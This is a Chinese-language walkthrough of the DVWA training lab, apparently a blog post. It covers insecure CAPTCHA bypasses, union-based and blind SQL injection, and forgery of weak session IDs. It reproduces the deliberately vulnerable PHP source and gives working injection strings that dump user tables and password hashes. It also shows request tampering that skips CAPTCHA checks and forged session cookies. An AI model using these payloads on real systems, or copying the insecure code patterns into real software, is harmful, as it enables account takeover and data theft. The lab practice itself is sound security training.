不安全的验证码(Insecure CAPTCHA)

Insecure CAPTCHA(不安全的验证码)主要是绕过验证码的安全验证,一般都有逻辑漏洞。

难度(low)

审计代码

 <?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

符合POST请求里带Change、step是2的条件,就可以直接跳过第一步的验证码。
通过Burp代理,修改step=2,就可以绕过第一步,从而再利用CSRF漏洞成功修改密码。

使用burp抓包,将step=1改成2,就可成功绕过

难度(Medium

审计代码

 <?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if they did stage 1if( !$_POST[ 'passed_captcha' ] ) {$html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";$hide_form = false;return;}// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

查看服务器端核心代码可知,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

可以通过抓包,更改step参数,增加passed_captcha参数(passed_captcha=true)

改前

改后

然后我们就成功的修改了密码,绕过了验证码

难度(high)

审计代码

 <?phpif( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){// CAPTCHA was correct. Do both new passwords match?if ($pass_new == $pass_conf) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for userecho "<pre>Password Changed.</pre>";} else {// Ops. Password mismatch$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} else {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>

满足一下任一条件就可以去修改密码:
1、验证码为真
2、g-recaptcha-responsehidd3n_valu3并且HTTP_USER_AGENTreCAPTCHA
很明显,第二条可以通过Burp来绕过验证码。

改前:

改后:

执行,密码更改成功

SQL注入(SQL Injection)

一、SQL注入概念

SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

二、手工注入常规思路

  1.判断是否存在注入,注入是字符型还是数字型

  2.猜解SQL查询语句中的字段数

  3.确定回显位置

  4.获取当前数据库

  5.获取数据库中的表

  6.获取表中的字段名

  7.得到数据

难度(low)

审计代码

 <?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>

分析源码,可以看到没有对参数做任何的过滤

判断是否存在SQL注入

1.输入1提交

2.输入1'提交

3.输入1 and 1=1 提交

4.输入1 and 1=2 提交

由上可以看出是存在注入点的,并且是以单引号闭合的,我们猜测sql查询语句是这样的:

select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'

判断列数

1' order by 2#

1' order by 3#

确定显示的位置(SQL语句查询之后的回显位置)

union注入

1' union select 1,2#    #从下图可以看出有2个回显

查询当前的数据库,以及版本

1' union select version(),database()#

获取数据库中的表

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获得字段中的数据

1' union select user, password from users#

这里密码使用了MD5加密,可在https://www.cmd5.com/进行解密

难度(medium)

中级加入了一些防御,,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),需要把浏览器设置为代理

分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些

我们可以利用burp修改数据包,绕过防御。判断注入点,以及注入的类型,

我们转到Repeater进行操作

根据low关卡知道存在SQL注入,这里就不多演示,我们从爆数据库开始

查询当前的数据库,以及版本

1 union select version(),database()#

获取数据库中的表,

1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

获取表中的字段名,考虑到单引号被转义,可以利用16进制绕过。(‘user’)

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

获得字段中的数据

1 union select user, password from users#

难度(high)

可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过。

方法跟前面的差不多,这里就不多演示了,直接爆账号密码

 获取账号密码

1' union select user,password from users#

SQL注入(盲注)(SQL Injection (Blind))

1.SQL盲注介绍

SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。

2. SQL盲注原理
盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注

3.盲注的一般步骤

判断是否存在注入、注入是字符型还是数字型
猜解当前数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据

布尔型盲注

1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注利用
该语句判断数据库个数,当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n相关函数学习
Length() 返回字符串的长度
substr() 截取字符串,偏移是从1开始,而不是0开始
ascii() 返回字符的ascii码
count(column_name) 返回指定列的值的数目(NULL 不计入)

时间盲注

1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
2.时间盲注利用
该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)相关函数学习
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)

难度(low)

审计代码

?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}}
}// Generate Anti-CSRF token
generateSessionToken();?>

开始操作:

输入1显示存在

输入1 and 1=1 或 1 and 1=2均显示存在

输入1' and 1=1 #显示存在(这三种都显示存在)

输入1' and 1=2 #不存在

存在字符型的盲注。

布尔盲注:

1.查数据库前要先判断数据库的长度
依次输入1' and length(database())=x #(x为大于等于1的整数)
当显示存在时即为数据库长度
发现当x=4时显示存在,故数据库长度为4

2.二分法找数据库名
依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值 #通过比较输入字母的ascii值的显示正常与否来逐个确定库名

例输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
…

重复上述步骤,就可以得到完整的数据库名dvwa

3.找数据库中的表
首先确定数据库中表的数量
1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)
当显示存在时即可判断表的数量
最终当x=2显示存在即表的数量为2

然后确定表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)
当显示存在时即可判断表的长度
当x=9显示存在即表的长度为9

然后同样二分法确定表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定表名

例1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
…

重复上述步骤可得到出两个表名guestbook、users

4.找表中的字段
首先找到字段的数量
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #
当显示存在时即为字段数
最后当x=8时显示存在即字段数users字段数为8

然后找字段名
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #
当x=7时显示存在即users表的第一个字段为7个字符长度

最后也是二分法确定字段名

时间盲注:

1.判断注入类型

输入1’ and sleep(6) #,有明显延迟;
输入1 and sleep(6) #,没有延迟;

说明为字符型盲注

2.找库名

先确定库名长

1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟

库名长度为4

然后通过二分法找库名

    1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟...1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟说明数据库名的第一个字符为小写字母d。...

重复上述步骤即可找到库名

3.找库中表名

先确定表的数量

    1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

可以确定表的数量为2

然后确定表的长度

    1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟...1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

可以确定第一个表的长度为9

最后二分法找到表名

4.找表中的字段

先确定字段的数量

    1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟...1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

可以确定users字段的数量为8

然后依次确定字段名

    1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟...1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7

最后再用二分法确定字段名

难度(medium)

 <?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close();
}?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

可以通过过抓包来实现sql盲注

前面有类似的情况,这里就不多演示了

难度(high)

审计代码

 <?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

漏洞利用:

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

弱会话IDs(Weak Session IDs)

简介:

用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带

Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权

限,无需录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。

服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使

用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,

之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

Session利用的实质 :

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权

限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

Session劫持 :

就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用

了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存

在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

难度(low)

审计代码

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];setcookie("dvwaSession", $cookie_value);
}
?> 

用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。

开始操作:

low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一:

构造payload:dvwaSession=12; security=low; PHPSESSID=9uu34n47j66u3g420tv8j7chu0

通过火狐浏览器的hackbar,提交,选择cookie提交方式,为验证有效性,清楚一下浏览器的cookie值,提交后发现直接登录dvwa,绕过密码验证:

难度(medium)

 <?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();setcookie("dvwaSession", $cookie_value);
}
?>

medium 的源码是基于时间戳生成的。

medium级别是基于时间戳生成dvwaSesion的,关于时间戳转换,直接查找转换器进行转换即可

通过设置时间戳,可知诱骗受害者在某个时间点基进行点击,

难度(high)

high级别使用了PHP setcookie()函数,来设置cookie:

setcookie(name,value,expire,path,domain,secure,httponly)
 参数                  描述
name         必需。规定cookie的名称。
value         必需。规定cookie的值。
expire       可选。规定cookie的有效期。
path         可选。规定cookie的服务器路径。
domain         可选。规定cookie的域名。
secure         可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly     可选。规定是否Cookie仅可通过HTTP协议访问。

抓包发现,dvwaSesion值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密;构造payload使用火狐提交。

DVWA通关教程(中)相关推荐

  1. DVWA通关教程(下)

    XSS(DOM) XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS 与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是 ...

  2. pikachu通关教程

    pikachu通关教程(暴力破解和xss) 1.暴力破解 基于表单的暴力破解 1.最简单的暴力破解没有验证码不需要绕过,直接进行抓包. 直接找到一组账号和密码 验证码绕过(on server) 先进行 ...

  3. Cheat Engine游戏脚本修改器通关教程(脑残版Step9)

    文章目录 Step 9 方法一 方法二 Step1 - Step8 通关教程地址(该教程写在2017年9月2日,现在疫情宅在家,补完后续教程):https://cylycgs.blog.csdn.ne ...

  4. 视频教程-信息系统项目管理师-通关教程4-软考

    信息系统项目管理师-通关教程4 微信企业号星级会员.10多年软件从业经历,国家级软件项目负责人,主要从事软件研发.软件企业员工技能培训.已经取得计算机技术与软件资格考试(软考)--"信息系统 ...

  5. Upload-Labs靶场 1-21全通关教程

    Upload-Labs通关 靶场介绍 安装 文件上传漏洞介绍 BurpSuite的简单使用 安装BurpSuite 配合Firefox使用 万能WebShell 正文开始 Pass-01 Pass-0 ...

  6. linux下dvwa安装教程,Kali linux2.0系统安装DVWA渗透测试平台 焕焕

    作者:icq8756c1a2 焕焕 最近一段时间一直研究Web防火墙,所以需要搭建一个渗透测试平台,以便学习常见的安全漏洞,如:SOL注入,XSS,文件上传包含等.Kali linux2017.1是官 ...

  7. DVWA通关-SQL注入篇

    DVWA通关-SQL注入篇 开篇之前   我知道网上也有很多通关攻略,但都是别人通关,复制粘贴也是别人的,所以就想写一下自己的.写下这篇文章主要是记录自己的学习,以及和各位朋友交流,有错误的地方,希望 ...

  8. XSS Game通关教程

    12.XSS Game通关教程 1.Ma Spaghet! 审查源码 一个不安全的方式,直接get传输somebody 输入123看看位置 ?somebody=123 如下 用下input标签即可 & ...

  9. WebGoat 8.1 靶场 刷题通关教程全攻略 - (A1) Injection

    WebGoat 8.1 靶场 刷题通关教程全攻略 - A1 Injection (A1) Injection SQL Injection (intro) 2. It is your turn! 3. ...

最新文章

  1. MVC框架浅析(基于PHP)
  2. 2020-12-1(带你理解32位二进制搜索范围是4GB)
  3. Java中通过NetworkInterface获取主机地址和物理地址等
  4. tp_link路由器 重新设置
  5. [ SAP ASAP ] SAP ASAP 方法论 对SAP项目文档的考核标准、 Documentation Principle
  6. Command ‘ifconfig‘ not found
  7. jq遍历子元素_leetcode第196周赛第三题统计全 1 子矩形
  8. Java EE 6 Web配置文件。 在云上。 简单。
  9. idea提示不区分大小写,解决方法
  10. 小蠓虫如何灭_小咬怎么灭
  11. 深入理解事件(event)与委托(delegate)
  12. xp计算机关闭139端口,关闭139端口,小编告诉你如何关闭139端口
  13. 我的世界空岛生存服务器制作,我的世界Wishing服务器-RPG丨空岛丨生存丨[1.12.2-1.16.1]...
  14. Android 设置桌面背景
  15. 路由器、交换机设备管理
  16. Spring Security使用数据库登录认证授权
  17. 凸优化第三章凸函数 3.3共轭函数
  18. 设计模式超简单的解释!
  19. 追风人拍到壮观龙卷风
  20. 图片资源管理,实现多App统一图片库管理

热门文章

  1. git粘贴命令行_如何使用git检测复制和粘贴代码?
  2. php网站点击按钮更新程序,php页面 点击按钮执行更新操作
  3. 6 Approximation and fitting
  4. 【MFC系列-第10天】非模式对话框开发
  5. ini配置文件的读写
  6. 微信小程序开发学习记录01
  7. 从graphql endpoint获取schema文件
  8. nowcoder172C 保护 (倍增lca+dfs序+主席树)
  9. Django启动服务器时,报错mysql的2059错误的原因。
  10. HDU1069 最长上升子序列